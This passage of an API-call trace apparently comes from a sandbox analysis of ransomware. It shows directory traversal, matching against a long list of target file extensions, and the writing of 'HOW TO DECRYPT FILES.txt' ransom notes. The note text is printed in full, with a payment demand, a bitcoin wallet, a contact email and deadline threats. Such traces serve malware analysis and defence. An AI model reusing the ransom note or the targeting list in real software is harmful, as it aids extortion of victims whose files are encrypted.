[0103.290] lstrlenA (lpString="*.mp3") returned 5 [0103.290] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.aiff") returned 0 [0103.290] lstrlenA (lpString="*.aiff") returned 6 [0103.290] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.flac") returned 0 [0103.290] lstrlenA (lpString="*.flac") returned 6 [0103.290] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.m4a") returned 0 [0103.291] lstrlenA (lpString="*.m4a") returned 5 [0103.291] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\f1a7ac664667f2d6bcd6c388b230c22b\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.csv") returned 0 [0103.291] lstrlenA (lpString="*.csv") returned 5 [0103.291] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e2339d0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x1e2339d0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x1e2339d0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0xee00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0103.291] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0103.291] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x454e0c80, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x454e0c80, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x454e0c80, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="fa141311a5edb84f9ecd96ccb1f96281", cAlternateFileName="FA1413~1")) returned 1 [0103.291] lstrcmpA (lpString1=".", lpString2="fa141311a5edb84f9ecd96ccb1f96281") returned -1 [0103.291] lstrcmpA (lpString1="..", lpString2="fa141311a5edb84f9ecd96ccb1f96281") returned -1 [0103.291] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\*.*") returned="*.*" [0103.291] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\", lpString2="fa141311a5edb84f9ecd96ccb1f96281" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281" [0103.291] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281") returned 100 [0103.291] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x454e0c80, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x454e0c80, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x454e0c80, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0103.292] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0103.292] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x454e0c80, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x454e0c80, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x454e0c80, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.292] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0103.292] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0103.292] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x454bab20, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x454bab20, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x454bab20, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x20c00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0103.292] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0103.293] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll") returned -1 [0103.293] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll") returned -1 [0103.293] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll") returned -1 [0103.293] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\*.*") returned="*.*" [0103.293] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\" [0103.293] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\") returned="" [0103.293] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\HOW TO DECRYPT FILES.txt" [0103.293] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualstu#\\fa141311a5edb84f9ecd96ccb1f96281\\how to decrypt files.txt")) returned 0xffffffff [0103.293] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualstu#\\fa141311a5edb84f9ecd96ccb1f96281\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0103.297] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0103.297] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0103.299] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0103.299] CloseHandle (hObject=0x90) returned 1 [0103.299] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\", lpString2="Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll" [0103.299] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.ems") returned 0 [0103.300] lstrlenA (lpString="*.ems") returned 5 [0103.300] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.db") returned 0 [0103.300] lstrlenA (lpString="*.db") returned 4 [0103.300] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.dbf") returned 0 [0103.300] lstrlenA (lpString="*.dbf") returned 5 [0103.300] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.myox") returned 0 [0103.300] lstrlenA (lpString="*.myox") returned 6 [0103.300] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.myo") returned 0 [0103.300] lstrlenA (lpString="*.myo") returned 5 [0103.301] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.qbw") returned 0 [0103.301] lstrlenA (lpString="*.qbw") returned 5 [0103.301] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.qbb") returned 0 [0103.301] lstrlenA (lpString="*.qbb") returned 5 [0103.301] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.qbm") returned 0 [0103.301] lstrlenA (lpString="*.qbm") returned 5 [0103.301] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.qbo") returned 0 [0103.301] lstrlenA (lpString="*.qbo") returned 5 [0103.301] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.qbx") returned 0 [0103.301] lstrlenA (lpString="*.qbx") returned 5 [0103.301] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.qba") returned 0 [0103.301] lstrlenA (lpString="*.qba") returned 5 [0103.301] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.qby") returned 0 [0103.301] lstrlenA (lpString="*.qby") returned 5 [0103.301] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.qbj") returned 0 [0103.301] lstrlenA (lpString="*.qbj") returned 5 [0103.301] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.ofx") returned 0 [0103.301] lstrlenA (lpString="*.ofx") returned 5 [0103.302] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.qif") returned 0 [0103.302] lstrlenA (lpString="*.qif") returned 5 [0103.302] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.mye") returned 0 [0103.302] lstrlenA (lpString="*.mye") returned 5 [0103.302] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.mbox") returned 0 [0103.302] lstrlenA (lpString="*.mbox") returned 6 [0103.302] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.eml") returned 0 [0103.302] lstrlenA (lpString="*.eml") returned 5 [0103.302] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.pst") returned 0 [0103.302] lstrlenA (lpString="*.pst") returned 5 [0103.302] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.ost") returned 0 [0103.302] lstrlenA (lpString="*.ost") returned 5 [0103.302] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.idx") returned 0 [0103.302] lstrlenA (lpString="*.idx") returned 5 [0103.302] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.dbx") returned 0 [0103.302] lstrlenA (lpString="*.dbx") returned 5 [0103.302] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.sql") returned 0 [0103.302] lstrlenA (lpString="*.sql") returned 5 [0103.302] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.mdb") returned 0 [0103.302] lstrlenA (lpString="*.mdb") returned 5 [0103.303] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.fdb") returned 0 [0103.303] lstrlenA (lpString="*.fdb") returned 5 [0103.303] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.wab") returned 0 [0103.303] lstrlenA (lpString="*.wab") returned 5 [0103.303] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.dat") returned 0 [0103.303] lstrlenA (lpString="*.dat") returned 5 [0103.303] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.txt") returned 0 [0103.303] lstrlenA (lpString="*.txt") returned 5 [0103.303] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.jpeg") returned 0 [0103.303] lstrlenA (lpString="*.jpeg") returned 6 [0103.303] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.jpg") returned 0 [0103.303] lstrlenA (lpString="*.jpg") returned 5 [0103.303] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.png") returned 0 [0103.303] lstrlenA (lpString="*.png") returned 5 [0103.303] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.php") returned 0 [0103.303] lstrlenA (lpString="*.php") returned 5 [0103.303] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.cs") returned 0 [0103.303] lstrlenA (lpString="*.cs") returned 4 [0103.303] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.cpp") returned 0 [0103.303] lstrlenA (lpString="*.cpp") returned 5 [0103.304] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.rar") returned 0 [0103.304] lstrlenA (lpString="*.rar") returned 5 [0103.304] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.zip") returned 0 [0103.304] lstrlenA (lpString="*.zip") returned 5 [0103.304] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.html") returned 0 [0103.304] lstrlenA (lpString="*.html") returned 6 [0103.304] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.htm") returned 0 [0103.304] lstrlenA (lpString="*.htm") returned 5 [0103.304] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.xlsx") returned 0 [0103.304] lstrlenA (lpString="*.xlsx") returned 6 [0103.304] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.xls") returned 0 [0103.304] lstrlenA (lpString="*.xls") returned 5 [0103.304] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.mp4") returned 0 [0103.304] lstrlenA (lpString="*.mp4") returned 5 [0103.304] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.ppt") returned 0 [0103.304] lstrlenA (lpString="*.ppt") returned 5 [0103.304] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.pptx") returned 0 [0103.304] lstrlenA (lpString="*.pptx") returned 6 [0103.304] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.doc") returned 0 [0103.305] lstrlenA (lpString="*.doc") returned 5 [0103.305] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.dot") returned 0 [0103.305] lstrlenA (lpString="*.dot") returned 5 [0103.305] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.docx") returned 0 [0103.305] lstrlenA (lpString="*.docx") returned 6 [0103.305] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.7z") returned 0 [0103.305] lstrlenA (lpString="*.7z") returned 4 [0103.305] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.tar") returned 0 [0103.305] lstrlenA (lpString="*.tar") returned 5 [0103.305] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.bz2") returned 0 [0103.305] lstrlenA (lpString="*.bz2") returned 5 [0103.305] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.gz") returned 0 [0103.305] lstrlenA (lpString="*.gz") returned 4 [0103.305] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.mkv") returned 0 [0103.305] lstrlenA (lpString="*.mkv") returned 5 [0103.305] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.eml") returned 0 [0103.305] lstrlenA (lpString="*.eml") returned 5 [0103.305] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fa141311a5edb84f9ecd96ccb1f96281\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.msg") returned 0 [0103.306] lstrlenA (lpString="*.msg") returned 5 [0103.306] PathMatchSpecA 